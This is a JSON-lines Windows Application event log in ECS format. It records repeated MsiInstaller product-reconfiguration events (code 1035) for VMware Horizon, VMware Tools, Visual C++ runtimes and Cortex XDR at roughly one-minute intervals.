{"@timestamp":1657399510632,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171067}}
{"@timestamp":1657399510661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171068}}
{"@timestamp":1657399510692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171069}}
{"@timestamp":1657399510721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171070}}
{"@timestamp":1657399510748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171071}}
{"@timestamp":1657399510784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171072}}
{"@timestamp":1657399510811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171073}}
{"@timestamp":1657399570385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171074}}
{"@timestamp":1657399570411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171075}}
{"@timestamp":1657399570462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171076}}
{"@timestamp":1657399570503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171077}}
{"@timestamp":1657399570531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171078}}
{"@timestamp":1657399570564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171079}}
{"@timestamp":1657399570592,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171080}}
{"@timestamp":1657399570618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171081}}
{"@timestamp":1657399570655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171082}}
{"@timestamp":1657399570683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171083}}
{"@timestamp":1657399630373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171084}}
{"@timestamp":1657399630401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171085}}
{"@timestamp":1657399630450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171086}}
{"@timestamp":1657399630489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171087}}
{"@timestamp":1657399630518,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171088}}
{"@timestamp":1657399630548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171089}}
{"@timestamp":1657399630574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171090}}
{"@timestamp":1657399630600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171091}}
{"@timestamp":1657399630637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171092}}
{"@timestamp":1657399630663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171093}}
{"@timestamp":1657399690447,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171094}}
{"@timestamp":1657399690474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171095}}
{"@timestamp":1657399690528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171096}}
{"@timestamp":1657399690571,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171097}}
{"@timestamp":1657399690606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171098}}
{"@timestamp":1657399690636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171099}}
{"@timestamp":1657399690665,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171100}}
{"@timestamp":1657399690692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171101}}
{"@timestamp":1657399690728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171102}}
{"@timestamp":1657399690758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171103}}
{"@timestamp":1657399750461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171104}}
{"@timestamp":1657399750489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171105}}
{"@timestamp":1657399750539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171106}}
{"@timestamp":1657399750580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171107}}
{"@timestamp":1657399750609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171108}}
{"@timestamp":1657399750639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171109}}
{"@timestamp":1657399750666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171110}}
{"@timestamp":1657399750692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171111}}
{"@timestamp":1657399750729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171112}}
{"@timestamp":1657399750757,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171113}}
{"@timestamp":1657399810353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171114}}
{"@timestamp":1657399810380,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171115}}
{"@timestamp":1657399810432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171116}}
{"@timestamp":1657399810471,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171117}}
{"@timestamp":1657399810498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171118}}
{"@timestamp":1657399810530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171119}}
{"@timestamp":1657399810556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171120}}
{"@timestamp":1657399810584,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171121}}
{"@timestamp":1657399810620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171122}}
{"@timestamp":1657399810647,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171123}}
{"@timestamp":1657399870499,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171124}}
{"@timestamp":1657399870525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171125}}
{"@timestamp":1657399870574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171126}}
{"@timestamp":1657399870612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171127}}
{"@timestamp":1657399870639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171128}}
{"@timestamp":1657399870669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171129}}
{"@timestamp":1657399870696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171130}}
{"@timestamp":1657399870722,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171131}}
{"@timestamp":1657399870758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171132}}
